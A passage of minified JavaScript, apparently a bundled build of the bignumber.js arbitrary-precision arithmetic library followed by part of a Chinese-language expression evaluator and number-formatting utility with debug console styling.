a(p,String(e),l,t)}l=!1,(s=(f=r(f,t,10,p.s)).indexOf("."))>-1?f=f.replace(".",""):s=f.length}for(c=0;48===f.charCodeAt(c);c++);for(u=f.length;48===f.charCodeAt(--u););if(f=f.slice(c,++u)){if(u-=c,l&&w.DEBUG&&u>15&&(e>MAX_SAFE_INTEGER$2||e!==mathfloor(e)))throw Error(tooManyDigits+p.s*e);if((s=s-c-1)>d)p.c=p.e=null;else if(s<b)p.c=[p.e=0];else{if(p.e=s,p.c=[],c=(s+1)%LOG_BASE,s<0&&(c+=LOG_BASE),c<u){for(c&&p.c.push(+f.slice(0,c)),u-=LOG_BASE;c<u;)p.c.push(+f.slice(c,c+=LOG_BASE));c=LOG_BASE-(f=f.slice(c)).length}else c-=u;for(;c--;f+="0");p.c.push(+f)}}else p.c=[p.e=0]}function E(e,t,r,a){var n,o,i,s,c;if(null==r?r=_:intCheck(r,0,8),!e.c)return e.toString();if(n=e.c[0],i=e.e,null==t)c=coeffToString(e.c),c=1==a||2==a&&(i<=g||i>=y)?toExponential(c,i):toFixedPoint(c,i,"0");else if(o=(e=C(new w(e),t,r)).e,s=(c=coeffToString(e.c)).length,1==a||2==a&&(t<=o||o<=g)){for(;s<t;c+="0",s++);c=toExponential(c,o)}else if(t-=i,c=toFixedPoint(c,o,"0"),o+1>s){if(--t>0)for(c+=".";t--;c+="0");}else if((t+=o-s)>0)for(o+1==s&&(c+=".");t--;c+="0");return e.s<0&&n?"-"+c:c}function O(e,t){for(var r,a=1,n=new w(e[0]);a<e.length;a++){if(!(r=new w(e[a])).s){n=r;break}t.call(n,r)&&(n=r)}return n}function k(e,t,r){for(var a=1,n=t.length;!t[--n];t.pop());for(n=t[0];n>=10;n/=10,a++);return(r=a+r*LOG_BASE-1)>d?e.c=e.e=null:r<b?e.c=[e.e=0]:(e.e=r,e.c=t),e}function C(e,t,r,a){var n,o,i,s,c,l,u,f=e.c,p=POWS_TEN;if(f){e:{for(n=1,s=f[0];s>=10;s/=10,n++);if((o=t-n)<0)o+=LOG_BASE,i=t,u=(c=f[l=0])/p[n-i-1]%10|0;else if((l=mathceil((o+1)/LOG_BASE))>=f.length){if(!a)break e;for(;f.length<=l;f.push(0));c=u=0,n=1,i=(o%=LOG_BASE)-LOG_BASE+1}else{for(c=s=f[l],n=1;s>=10;s/=10,n++);u=(i=(o%=LOG_BASE)-LOG_BASE+n)<0?0:c/p[n-i-1]%10|0}if(a=a||t<0||null!=f[l+1]||(i<0?c:c%p[n-i-1]),a=r<4?(u||a)&&(0==r||r==(e.s<0?3:2)):u>5||5==u&&(4==r||a||6==r&&(o>0?i>0?c/p[n-i]:0:f[l-1])%10&1||r==(e.s<0?8:7)),t<1||!f[0])return f.length=0,a?(t-=e.e+1,f[0]=p[(LOG_BASE-t%LOG_BASE)%LOG_BASE],e.e=-t||0):f[0]=e.e=0,e;if(0==o?(f.length=l,s=1,l--):(f.length=l+1,s=p[LOG_BASE-o],f[l]=i>0?mathfloor(c/p[n-i]%p[i])*s:0),a)for(;;){if(0==l){for(o=1,i=f[0];i>=10;i/=10,o++);for(i=f[0]+=s,s=1;i>=10;i/=10,s++);o!=s&&(e.e++,f[0]==BASE&&(f[0]=1));break}if(f[l]+=s,f[l]!=BASE)break;f[l--]=0,s=1}for(o=f.length;0===f[--o];f.pop());}e.e>d?e.c=e.e=null:e.e<b&&(e.c=[e.e=0])}return e}function j(e){var t,r=e.e;return null===r?e.toString():(t=coeffToString(e.c),t=r<=g||r>=y?toExponential(t,r):toFixedPoint(t,r,"0"),e.s<0?"-"+t:t)}return w.clone=clone,w.ROUND_UP=0,w.ROUND_DOWN=1,w.ROUND_CEIL=2,w.ROUND_FLOOR=3,w.ROUND_HALF_UP=4,w.ROUND_HALF_DOWN=5,w.ROUND_HALF_EVEN=6,w.ROUND_HALF_CEIL=7,w.ROUND_HALF_FLOOR=8,w.EUCLID=9,w.config=w.set=function(e){var t,r;if(null!=e){if("object"!=_typeof(e))throw Error(bignumberError+"Object expected: "+e);if(e.hasOwnProperty(t="DECIMAL_PLACES")&&(intCheck(r=e[t],0,MAX,t),h=r),e.hasOwnProperty(t="ROUNDING_MODE")&&(intCheck(r=e[t],0,8,t),_=r),e.hasOwnProperty(t="EXPONENTIAL_AT")&&((r=e[t])&&r.pop?(intCheck(r[0],-MAX,0,t),intCheck(r[1],0,MAX,t),g=r[0],y=r[1]):(intCheck(r,-MAX,MAX,t),g=-(y=r<0?-r:r))),e.hasOwnProperty(t="RANGE"))if((r=e[t])&&r.pop)intCheck(r[0],-MAX,-1,t),intCheck(r[1],1,MAX,t),b=r[0],d=r[1];else{if(intCheck(r,-MAX,MAX,t),!r)throw Error(bignumberError+t+" cannot be zero: "+r);b=-(d=r<0?-r:r)}if(e.hasOwnProperty(t="CRYPTO")){if((r=e[t])!==!!r)throw Error(bignumberError+t+" not true or false: "+r);if(r){if("undefined"==typeof crypto||!crypto||!crypto.getRandomValues&&!crypto.randomBytes)throw m=!r,Error(bignumberError+"crypto unavailable");m=r}else m=r}if(e.hasOwnProperty(t="MODULO_MODE")&&(intCheck(r=e[t],0,9,t),v=r),e.hasOwnProperty(t="POW_PRECISION")&&(intCheck(r=e[t],0,MAX,t),$=r),e.hasOwnProperty(t="FORMAT")){if("object"!=_typeof(r=e[t]))throw Error(bignumberError+t+" not an object: "+r);A=r}if(e.hasOwnProperty(t="ALPHABET")){if("string"!=typeof(r=e[t])||/^.?$|[+\-.\s]|(.).*\1/.test(r))throw Error(bignumberError+t+" invalid: "+r);S="0123456789"==r.slice(0,10),T=r}}return{DECIMAL_PLACES:h,ROUNDING_MODE:_,EXPONENTIAL_AT:[g,y],RANGE:[b,d],CRYPTO:m,MODULO_MODE:v,POW_PRECISION:$,FORMAT:A,ALPHABET:T}},w.isBigNumber=function(e){if(!e||!0!==e._isBigNumber)return!1;if(!w.DEBUG)return!0;var t,r,a=e.c,n=e.e,o=e.s;e:if("[object Array]"=={}.toString.call(a)){if((1===o||-1===o)&&n>=-MAX&&n<=MAX&&n===mathfloor(n)){if(0===a[0]){if(0===n&&1===a.length)return!0;break e}if((t=(n+1)%LOG_BASE)<1&&(t+=LOG_BASE),String(a[0]).length==t){for(t=0;t<a.length;t++)if((r=a[t])<0||r>=BASE||r!==mathfloor(r))break e;if(0!==r)return!0}}}else if(null===a&&null===n&&(null===o||1===o||-1===o))return!0;throw Error(bignumberError+"Invalid BigNumber: "+e)},w.maximum=w.max=function(){return O(arguments,f.lt)},w.minimum=w.min=function(){return O(arguments,f.gt)},w.random=(n=9007199254740992,o=Math.random()*n&2097151?function(){return mathfloor(Math.random()*n)}:function(){return 8388608*(1073741824*Math.random()|0)+(8388608*Math.random()|0)},function(e){var t,r,a,n,i,s=0,c=[],l=new w(p);if(null==e?e=h:intCheck(e,0,MAX),n=mathceil(e/LOG_BASE),m)if(crypto.getRandomValues){for(t=crypto.getRandomValues(new Uint32Array(n*=2));s<n;)(i=131072*t[s]+(t[s+1]>>>11))>=9e15?(r=crypto.getRandomValues(new Uint32Array(2)),t[s]=r[0],t[s+1]=r[1]):(c.push(i%1e14),s+=2);s=n/2}else{if(!crypto.randomBytes)throw m=!1,Error(bignumberError+"crypto unavailable");for(t=crypto.randomBytes(n*=7);s<n;)(i=281474976710656*(31&t[s])+1099511627776*t[s+1]+4294967296*t[s+2]+16777216*t[s+3]+(t[s+4]<<16)+(t[s+5]<<8)+t[s+6])>=9e15?crypto.randomBytes(7).copy(t,s):(c.push(i%1e14),s+=7);s=n/7}if(!m)for(;s<n;)(i=o())<9e15&&(c[s++]=i%1e14);for(n=c[--s],e%=LOG_BASE,n&&e&&(i=POWS_TEN[LOG_BASE-e],c[s]=mathfloor(n/i)*i);0===c[s];c.pop(),s--);if(s<0)c=[a=0];else{for(a=-1;0===c[0];c.splice(0,1),a-=LOG_BASE);for(s=1,i=c[0];i>=10;i/=10,s++);s<LOG_BASE&&(a-=LOG_BASE-s)}return l.e=a,l.c=c,l}),w.sum=function(){for(var e=1,t=arguments,r=new w(t[0]);e<t.length;)r=r.plus(t[e++]);return r},r=function(){var e="0123456789";function r(e,t,r,a){for(var n,o,i=[0],s=0,c=e.length;s<c;){for(o=i.length;o--;i[o]*=t);for(i[0]+=a.indexOf(e.charAt(s++)),n=0;n<i.length;n++)i[n]>r-1&&(null==i[n+1]&&(i[n+1]=0),i[n+1]+=i[n]/r|0,i[n]%=r)}return i.reverse()}return function(a,n,o,i,s){var c,l,u,f,p,g,y,b,d=a.indexOf("."),m=h,v=_;for(d>=0&&(f=$,$=0,a=a.replace(".",""),g=(b=new w(n)).pow(a.length-d),$=f,b.c=r(toFixedPoint(coeffToString(g.c),g.e,"0"),10,o,e),b.e=b.c.length),u=f=(y=r(a,n,o,s?(c=T,e):(c=e,T))).length;0==y[--f];y.pop());if(!y[0])return c.charAt(0);if(d<0?--u:(g.c=y,g.e=u,g.s=i,y=(g=t(g,b,m,v,o)).c,p=g.r,u=g.e),d=y[l=u+m+1],f=o/2,p=p||l<0||null!=y[l+1],p=v<4?(null!=d||p)&&(0==v||v==(g.s<0?3:2)):d>f||d==f&&(4==v||p||6==v&&1&y[l-1]||v==(g.s<0?8:7)),l<1||!y[0])a=p?toFixedPoint(c.charAt(1),-m,c.charAt(0)):c.charAt(0);else{if(y.length=l,p)for(--o;++y[--l]>o;)y[l]=0,l||(++u,y=[1].concat(y));for(f=y.length;!y[--f];);for(d=0,a="";d<=f;a+=c.charAt(y[d++]));a=toFixedPoint(a,u,c.charAt(0))}return a}}(),t=function(){function e(e,t,r){var a,n,o,i,s=0,c=e.length,l=t%SQRT_BASE,u=t/SQRT_BASE|0;for(e=e.slice();c--;)s=((n=l*(o=e[c]%SQRT_BASE)+(a=u*o+(i=e[c]/SQRT_BASE|0)*l)%SQRT_BASE*SQRT_BASE+s)/r|0)+(a/SQRT_BASE|0)+u*i,e[c]=n%r;return s&&(e=[s].concat(e)),e}function t(e,t,r,a){var n,o;if(r!=a)o=r>a?1:-1;else for(n=o=0;n<r;n++)if(e[n]!=t[n]){o=e[n]>t[n]?1:-1;break}return o}function r(e,t,r,a){for(var n=0;r--;)e[r]-=n,n=e[r]<t[r]?1:0,e[r]=n*a+e[r]-t[r];for(;!e[0]&&e.length>1;e.splice(0,1));}return function(a,n,o,i,s){var c,l,u,f,p,h,_,g,y,b,d,m,v,$,A,T,S,E=a.s==n.s?1:-1,O=a.c,k=n.c;if(!(O&&O[0]&&k&&k[0]))return new w(a.s&&n.s&&(O?!k||O[0]!=k[0]:k)?O&&0==O[0]||!k?0*E:E/0:NaN);for(y=(g=new w(E)).c=[],E=o+(l=a.e-n.e)+1,s||(s=BASE,l=bitFloor(a.e/LOG_BASE)-bitFloor(n.e/LOG_BASE),E=E/LOG_BASE|0),u=0;k[u]==(O[u]||0);u++);if(k[u]>(O[u]||0)&&l--,E<0)y.push(1),f=!0;else{for($=O.length,T=k.length,u=0,E+=2,(p=mathfloor(s/(k[0]+1)))>1&&(k=e(k,p,s),O=e(O,p,s),T=k.length,$=O.length),v=T,d=(b=O.slice(0,T)).length;d<T;b[d++]=0);S=k.slice(),S=[0].concat(S),A=k[0],k[1]>=s/2&&A++;do{if(p=0,(c=t(k,b,T,d))<0){if(m=b[0],T!=d&&(m=m*s+(b[1]||0)),(p=mathfloor(m/A))>1)for(p>=s&&(p=s-1),_=(h=e(k,p,s)).length,d=b.length;1==t(h,b,_,d);)p--,r(h,T<_?S:k,_,s),_=h.length,c=1;else 0==p&&(c=p=1),_=(h=k.slice()).length;if(_<d&&(h=[0].concat(h)),r(b,h,d,s),d=b.length,-1==c)for(;t(k,b,T,d)<1;)p++,r(b,T<d?S:k,d,s),d=b.length}else 0===c&&(p++,b=[0]);y[u++]=p,b[0]?b[d++]=O[v]||0:(b=[O[v]],d=1)}while((v++<$||null!=b[0])&&E--);f=null!=b[0],y[0]||y.splice(0,1)}if(s==BASE){for(u=1,E=y[0];E>=10;E/=10,u++);C(g,o+(g.e=u+l*LOG_BASE-1)+1,i,f)}else g.e=l,g.r=+f;return g}}(),i=/^(-?)0([xbo])(?=\w[\w.]*$)/i,s=/^([^.]+)\.$/,c=/^\.([^.]+)$/,l=/^-?(Infinity|NaN)$/,u=/^\s*\+(?=[\w.])|^\s+|\s+$/g,a=function(e,t,r,a){var n,o=r?t:t.replace(u,"");if(l.test(o))e.s=isNaN(o)?null:o<0?-1:1;else{if(!r&&(o=o.replace(i,(function(e,t,r){return n="x"==(r=r.toLowerCase())?16:"b"==r?2:8,a&&a!=n?e:t})),a&&(n=a,o=o.replace(s,"$1").replace(c,"0.$1")),t!=o))return new w(o,n);if(w.DEBUG)throw Error(bignumberError+"Not a"+(a?" base "+a:"")+" number: "+t);e.s=null}e.c=e.e=null},f.absoluteValue=f.abs=function(){var e=new w(this);return e.s<0&&(e.s=1),e},f.comparedTo=function(e,t){return compare(this,new w(e,t))},f.decimalPlaces=f.dp=function(e,t){var r,a,n,o=this;if(null!=e)return intCheck(e,0,MAX),null==t?t=_:intCheck(t,0,8),C(new w(o),e+o.e+1,t);if(!(r=o.c))return null;if(a=((n=r.length-1)-bitFloor(this.e/LOG_BASE))*LOG_BASE,n=r[n])for(;n%10==0;n/=10,a--);return a<0&&(a=0),a},f.dividedBy=f.div=function(e,r){return t(this,new w(e,r),h,_)},f.dividedToIntegerBy=f.idiv=function(e,r){return t(this,new w(e,r),0,1)},f.exponentiatedBy=f.pow=function(e,t){var r,a,n,o,i,s,c,l,u=this;if((e=new w(e)).c&&!e.isInteger())throw Error(bignumberError+"Exponent not an integer: "+j(e));if(null!=t&&(t=new w(t)),i=e.e>14,!u.c||!u.c[0]||1==u.c[0]&&!u.e&&1==u.c.length||!e.c||!e.c[0])return l=new w(Math.pow(+j(u),i?e.s*(2-isOdd(e)):+j(e))),t?l.mod(t):l;if(s=e.s<0,t){if(t.c?!t.c[0]:!t.s)return new w(NaN);(a=!s&&u.isInteger()&&t.isInteger())&&(u=u.mod(t))}else{if(e.e>9&&(u.e>0||u.e<-1||(0==u.e?u.c[0]>1||i&&u.c[1]>=24e7:u.c[0]<8e13||i&&u.c[0]<=9999975e7)))return o=u.s<0&&isOdd(e)?-0:0,u.e>-1&&(o=1/o),new w(s?1/o:o);$&&(o=mathceil($/LOG_BASE+2))}for(i?(r=new w(.5),s&&(e.s=1),c=isOdd(e)):c=(n=Math.abs(+j(e)))%2,l=new w(p);;){if(c){if(!(l=l.times(u)).c)break;o?l.c.length>o&&(l.c.length=o):a&&(l=l.mod(t))}if(n){if(0===(n=mathfloor(n/2)))break;c=n%2}else if(C(e=e.times(r),e.e+1,1),e.e>14)c=isOdd(e);else{if(0===(n=+j(e)))break;c=n%2}u=u.times(u),o?u.c&&u.c.length>o&&(u.c.length=o):a&&(u=u.mod(t))}return a?l:(s&&(l=p.div(l)),t?l.mod(t):o?C(l,$,_,undefined):l)},f.integerValue=function(e){var t=new w(this);return null==e?e=_:intCheck(e,0,8),C(t,t.e+1,e)},f.isEqualTo=f.eq=function(e,t){return 0===compare(this,new w(e,t))},f.isFinite=function(){return!!this.c},f.isGreaterThan=f.gt=function(e,t){return compare(this,new w(e,t))>0},f.isGreaterThanOrEqualTo=f.gte=function(e,t){return 1===(t=compare(this,new w(e,t)))||0===t},f.isInteger=function(){return!!this.c&&bitFloor(this.e/LOG_BASE)>this.c.length-2},f.isLessThan=f.lt=function(e,t){return compare(this,new w(e,t))<0},f.isLessThanOrEqualTo=f.lte=function(e,t){return-1===(t=compare(this,new w(e,t)))||0===t},f.isNaN=function(){return!this.s},f.isNegative=function(){return this.s<0},f.isPositive=function(){return this.s>0},f.isZero=function(){return!!this.c&&0==this.c[0]},f.minus=function(e,t){var r,a,n,o,i=this,s=i.s;if(t=(e=new w(e,t)).s,!s||!t)return new w(NaN);if(s!=t)return e.s=-t,i.plus(e);var c=i.e/LOG_BASE,l=e.e/LOG_BASE,u=i.c,f=e.c;if(!c||!l){if(!u||!f)return u?(e.s=-t,e):new w(f?i:NaN);if(!u[0]||!f[0])return f[0]?(e.s=-t,e):new w(u[0]?i:3==_?-0:0)}if(c=bitFloor(c),l=bitFloor(l),u=u.slice(),s=c-l){for((o=s<0)?(s=-s,n=u):(l=c,n=f),n.reverse(),t=s;t--;n.push(0));n.reverse()}else for(a=(o=(s=u.length)<(t=f.length))?s:t,s=t=0;t<a;t++)if(u[t]!=f[t]){o=u[t]<f[t];break}if(o&&(n=u,u=f,f=n,e.s=-e.s),(t=(a=f.length)-(r=u.length))>0)for(;t--;u[r++]=0);for(t=BASE-1;a>s;){if(u[--a]<f[a]){for(r=a;r&&!u[--r];u[r]=t);--u[r],u[a]+=BASE}u[a]-=f[a]}for(;0==u[0];u.splice(0,1),--l);return u[0]?k(e,u,l):(e.s=3==_?-1:1,e.c=[e.e=0],e)},f.modulo=f.mod=function(e,r){var a,n,o=this;return e=new w(e,r),!o.c||!e.s||e.c&&!e.c[0]?new w(NaN):!e.c||o.c&&!o.c[0]?new w(o):(9==v?(n=e.s,e.s=1,a=t(o,e,0,3),e.s=n,a.s*=n):a=t(o,e,0,v),(e=o.minus(a.times(e))).c[0]||1!=v||(e.s=o.s),e)},f.multipliedBy=f.times=function(e,t){var r,a,n,o,i,s,c,l,u,f,p,h,_,g,y,b=this,d=b.c,m=(e=new w(e,t)).c;if(!(d&&m&&d[0]&&m[0]))return!b.s||!e.s||d&&!d[0]&&!m||m&&!m[0]&&!d?e.c=e.e=e.s=null:(e.s*=b.s,d&&m?(e.c=[0],e.e=0):e.c=e.e=null),e;for(a=bitFloor(b.e/LOG_BASE)+bitFloor(e.e/LOG_BASE),e.s*=b.s,(c=d.length)<(f=m.length)&&(_=d,d=m,m=_,n=c,c=f,f=n),n=c+f,_=[];n--;_.push(0));for(g=BASE,y=SQRT_BASE,n=f;--n>=0;){for(r=0,p=m[n]%y,h=m[n]/y|0,o=n+(i=c);o>n;)r=((l=p*(l=d[--i]%y)+(s=h*l+(u=d[i]/y|0)*p)%y*y+_[o]+r)/g|0)+(s/y|0)+h*u,_[o--]=l%g;_[o]=r}return r?++a:_.splice(0,1),k(e,_,a)},f.negated=function(){var e=new w(this);return e.s=-e.s||null,e},f.plus=function(e,t){var r,a=this,n=a.s;if(t=(e=new w(e,t)).s,!n||!t)return new w(NaN);if(n!=t)return e.s=-t,a.minus(e);var o=a.e/LOG_BASE,i=e.e/LOG_BASE,s=a.c,c=e.c;if(!o||!i){if(!s||!c)return new w(n/0);if(!s[0]||!c[0])return c[0]?e:new w(s[0]?a:0*n)}if(o=bitFloor(o),i=bitFloor(i),s=s.slice(),n=o-i){for(n>0?(i=o,r=c):(n=-n,r=s),r.reverse();n--;r.push(0));r.reverse()}for((n=s.length)-(t=c.length)<0&&(r=c,c=s,s=r,t=n),n=0;t;)n=(s[--t]=s[t]+c[t]+n)/BASE|0,s[t]=BASE===s[t]?0:s[t]%BASE;return n&&(s=[n].concat(s),++i),k(e,s,i)},f.precision=f.sd=function(e,t){var r,a,n,o=this;if(null!=e&&e!==!!e)return intCheck(e,1,MAX),null==t?t=_:intCheck(t,0,8),C(new w(o),e,t);if(!(r=o.c))return null;if(a=(n=r.length-1)*LOG_BASE+1,n=r[n]){for(;n%10==0;n/=10,a--);for(n=r[0];n>=10;n/=10,a++);}return e&&o.e+1>a&&(a=o.e+1),a},f.shiftedBy=function(e){return intCheck(e,-MAX_SAFE_INTEGER$2,MAX_SAFE_INTEGER$2),this.times("1e"+e)},f.squareRoot=f.sqrt=function(){var e,r,a,n,o,i=this,s=i.c,c=i.s,l=i.e,u=h+4,f=new w("0.5");if(1!==c||!s||!s[0])return new w(!c||c<0&&(!s||s[0])?NaN:s?i:1/0);if(0==(c=Math.sqrt(+j(i)))||c==1/0?(((r=coeffToString(s)).length+l)%2==0&&(r+="0"),c=Math.sqrt(+r),l=bitFloor((l+1)/2)-(l<0||l%2),a=new w(r=c==1/0?"5e"+l:(r=c.toExponential()).slice(0,r.indexOf("e")+1)+l)):a=new w(c+""),a.c[0])for((c=(l=a.e)+u)<3&&(c=0);;)if(o=a,a=f.times(o.plus(t(i,o,u,1))),coeffToString(o.c).slice(0,c)===(r=coeffToString(a.c)).slice(0,c)){if(a.e<l&&--c,"9999"!=(r=r.slice(c-3,c+1))&&(n||"4999"!=r)){+r&&(+r.slice(1)||"5"!=r.charAt(0))||(C(a,a.e+h+2,1),e=!a.times(a).eq(i));break}if(!n&&(C(o,o.e+h+2,0),o.times(o).eq(i))){a=o;break}u+=4,c+=4,n=1}return C(a,a.e+h+1,_,e)},f.toExponential=function(e,t){return null!=e&&(intCheck(e,0,MAX),e++),E(this,e,t,1)},f.toFixed=function(e,t){return null!=e&&(intCheck(e,0,MAX),e=e+this.e+1),E(this,e,t)},f.toFormat=function(e,t,r){var a,n=this;if(null==r)null!=e&&t&&"object"==_typeof(t)?(r=t,t=null):e&&"object"==_typeof(e)?(r=e,e=t=null):r=A;else if("object"!=_typeof(r))throw Error(bignumberError+"Argument not an object: "+r);if(a=n.toFixed(e,t),n.c){var o,i=a.split("."),s=+r.groupSize,c=+r.secondaryGroupSize,l=r.groupSeparator||"",u=i[0],f=i[1],p=n.s<0,h=p?u.slice(1):u,_=h.length;if(c&&(o=s,s=c,c=o,_-=o),s>0&&_>0){for(o=_%s||s,u=h.substr(0,o);o<_;o+=s)u+=l+h.substr(o,s);c>0&&(u+=l+h.slice(o)),p&&(u="-"+u)}a=f?u+(r.decimalSeparator||"")+((c=+r.fractionGroupSize)?f.replace(new RegExp("\\d{"+c+"}\\B","g"),"$&"+(r.fractionGroupSeparator||"")):f):u}return(r.prefix||"")+a+(r.suffix||"")},f.toFraction=function(e){var r,a,n,o,i,s,c,l,u,f,h,g,y=this,b=y.c;if(null!=e&&(!(c=new w(e)).isInteger()&&(c.c||1!==c.s)||c.lt(p)))throw Error(bignumberError+"Argument "+(c.isInteger()?"out of range: ":"not an integer: ")+j(c));if(!b)return new w(y);for(r=new w(p),u=a=new w(p),n=l=new w(p),g=coeffToString(b),i=r.e=g.length-y.e-1,r.c[0]=POWS_TEN[(s=i%LOG_BASE)<0?LOG_BASE+s:s],e=!e||c.comparedTo(r)>0?i>0?r:u:c,s=d,d=1/0,c=new w(g),l.c[0]=0;f=t(c,r,0,1),1!=(o=a.plus(f.times(n))).comparedTo(e);)a=n,n=o,u=l.plus(f.times(o=u)),l=o,r=c.minus(f.times(o=r)),c=o;return o=t(e.minus(a),n,0,1),l=l.plus(o.times(u)),a=a.plus(o.times(n)),l.s=u.s=y.s,h=t(u,n,i*=2,_).minus(y).abs().comparedTo(t(l,a,i,_).minus(y).abs())<1?[u,n]:[l,a],d=s,h},f.toNumber=function(){return+j(this)},f.toPrecision=function(e,t){return null!=e&&intCheck(e,1,MAX),E(this,e,t,2)},f.toString=function(e){var t,a=this,n=a.s,o=a.e;return null===o?n?(t="Infinity",n<0&&(t="-"+t)):t="NaN":(null==e?t=o<=g||o>=y?toExponential(coeffToString(a.c),o):toFixedPoint(coeffToString(a.c),o,"0"):10===e&&S?t=toFixedPoint(coeffToString((a=C(new w(a),h+o+1,_)).c),a.e,"0"):(intCheck(e,2,T.length,"Base"),t=r(toFixedPoint(coeffToString(a.c),o,"0"),10,e,n,!0)),n<0&&a.c[0]&&(t="-"+t)),t},f.valueOf=f.toJSON=function(){return j(this)},f._isBigNumber=!0,f[Symbol.toStringTag]="BigNumber",f[Symbol.for("nodejs.util.inspect.custom")]=f.valueOf,null!=e&&w.set(e),w}function bitFloor(e){var t=0|e;return e>0||e===t?t:t-1}function coeffToString(e){for(var t,r,a=1,n=e.length,o=e[0]+"";a<n;){for(t=e[a++]+"",r=LOG_BASE-t.length;r--;t="0"+t);o+=t}for(n=o.length;48===o.charCodeAt(--n););return o.slice(0,n+1||1)}function compare(e,t){var r,a,n=e.c,o=t.c,i=e.s,s=t.s,c=e.e,l=t.e;if(!i||!s)return null;if(r=n&&!n[0],a=o&&!o[0],r||a)return r?a?0:-s:i;if(i!=s)return i;if(r=i<0,a=c==l,!n||!o)return a?0:!n^r?1:-1;if(!a)return c>l^r?1:-1;for(s=(c=n.length)<(l=o.length)?c:l,i=0;i<s;i++)if(n[i]!=o[i])return n[i]>o[i]^r?1:-1;return c==l?0:c>l^r?1:-1}function intCheck(e,t,r,a){if(e<t||e>r||e!==mathfloor(e))throw Error(bignumberError+(a||"Argument")+("number"==typeof e?e<t||e>r?" out of range: ":" not an integer: ":" not a primitive number: ")+String(e))}function isOdd(e){var t=e.c.length-1;return bitFloor(e.e/LOG_BASE)==t&&e.c[t]%2!=0}function toExponential(e,t){return(e.length>1?e.charAt(0)+"."+e.slice(1):e)+(t<0?"e":"e+")+t}function toFixedPoint(e,t,r){var a,n;if(t<0){for(n=r+".";++t;n+=r);e=n+e}else if(++t>(a=e.length)){for(n=r,t-=a;--t;n+=r);e+=n}else t<a&&(e=e.slice(0,t)+"."+e.slice(t));return e}var BigNumber=clone();function eval_postfix(e){for(var t=[];e.length>0;){var r=e.shift();if(is_operator(r)){if(t.length<2)throw new Error("错误的栈长度, 可能是无法计算的表达式");var a=t.pop(),n=t.pop(),o=n+r+a;if(o in cache_eval){t.push(cache_eval[o].value),cache_eval[o].last_time=(new Date).getTime(),cache_eval[o].count++;continue}if("string"==typeof a&&!BigNumber.isBigNumber(a)){if(!is_str_number(a))throw new Error("".concat(a,"不是一个合法的数字"));a=new BigNumber(a)}if("string"==typeof n&&!BigNumber.isBigNumber(n)){if(!is_str_number(n))throw new Error("".concat(n,"不是一个合法的数字"));n=new BigNumber(n)}switch(r){case"+":var i=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.plus(a)};t.push(i.value);break;case"-":var s=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.minus(a)};t.push(s.value);break;case"*":var c=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.times(a)};t.push(c.value);break;case"/":var l=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.div(a)};t.push(l.value);break;case"%":var u=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.mod(a)};t.push(u.value);break;case"**":var f=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.pow(a)};t.push(f.value)}}else t.push(r)}if(1!==t.length)throw"unvalid expression";var p=t[0];if((p=BigNumber.isBigNumber(p)?p:BigNumber(p)).isNaN())throw new Error("计算结果为NaN");return p}function format(e,t){var r="";if(BigNumber.isBigNumber(e)?r=e.toFixed():"string"!=typeof e&&(r=e.toString()),"undefined"===r||"NaN"===r)return[null,{}];var a={mantissa:null,mantissa_type:null,thousands:!1,sign:!1,round:"~-",scientific:!1,fraction:!1,percent:!1,to_number:!1,to_number_string:!1};if(t.forEach((function(e){var t=e.type;if("symbol"===t){if(![">=","<=","=","<",">"].includes(e.value))throw new Error("错误的格式化参数:",e.value);a.mantissa_type=e.value}else if("to-number"===t)a.to_number=!0;else if("to-number-string"===t)a.to_number_string=!0;else if("comma"===t)a.thousands=!0;else if("number"===t)a.mantissa=e.value;else if("plus"===t)a.sign=!0;else if("round"===t)a.round=e.value;else if("fraction"===t)a.fraction=!0;else if("scientific"===t)a.scientific=!0;else{if("percent"!==t)throw new Error("错误的fmt Token");a.percent=!0}})),a.to_number)return[+parse_mantissa(r,a.mantissa_type,a.mantissa,a.round),a];if(a.scientific){var n=BigNumber(r).toExponential();return[a.sign&&!n.startsWith("-")?"+"+n:n,a]}if(a.fraction){var o=BigNumber(r).toFraction().map((function(e){return e.toFixed()})).join("/");return[a.sign&&!o.startsWith("-")?"+"+o:o,a]}return a.percent&&(r=BigNumber(r).times(100).toFixed()),not_null(a.mantissa)&&(r=parse_mantissa(r,a.mantissa_type,a.mantissa,a.round)),a.thousands&&(r=parse_thousands(r)),a.sign&&(a.to_number=!1,r.startsWith("-")||(r="+"+r)),a.percent&&(r+="%"),[r,a]}function fill_fmt_tokens(e,t){return e.map((function(e){if("var"!==e.type)return e;for(var r,a=0;a<t.length&&!not_undefined(r=get$1(t[a],e.value));a++);if(is_number(r))return{type:"number",value:r};throw new Error("错误的填充值")}))}function get_token_and_unit(e){var t=null;return e.length,{tokens:e.map((function(e){var r=split_unit_num(e.value);return null!==r.unit?(null==t&&(t=r.unit),{type:"number",value:r.num}):e})),unit:t}}var stringify$1={exports:{}};!function(e,t){function r(e,t){var r=[],a=[];return null==t&&(t=function(e,t){return r[0]===t?"[Circular ~]":"[Circular ~."+a.slice(0,r.indexOf(t)).join(".")+"]"}),function(n,o){if(r.length>0){var i=r.indexOf(this);~i?r.splice(i+1):r.push(this),~i?a.splice(i,1/0,n):a.push(n),~r.indexOf(o)&&(o=t.call(this,n,o))}else r.push(o);return null==e?o:e.call(this,n,o)}}(e.exports=function(e,t,a,n){return JSON.stringify(e,r(t,n),a)}).getSerialize=r}(stringify$1,stringify$1.exports);var stringifyExports=stringify$1.exports,stringify=getDefaultExportFromCjs(stringifyExports),_debug=!1,_important_push=!0;function close_important_push(){_important_push=!1}function open_important_push(){_important_push=!0}function open_debug(){_debug=!0}function close_debug(){_debug=!1}function get_debug_config(){return _debug}var debug_color={bg:"#ff8936",fg:"#fff",field:"#67C23A",field2:"#ee7959"},debug_style={expr:"background: ".concat(debug_color.bg,";color: ").concat(debug_color.fg,";font-weight: bold;border-radius: 4px; padding: 3px 8px;"),label1:"color: ".concat(debug_color.field,"; font-weight: bold; white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"),label2:"color: ".concat(debug_color.field2,"; font-weight: bold; white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"),nowrap:"white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"};function calc_wrap(e,t){var 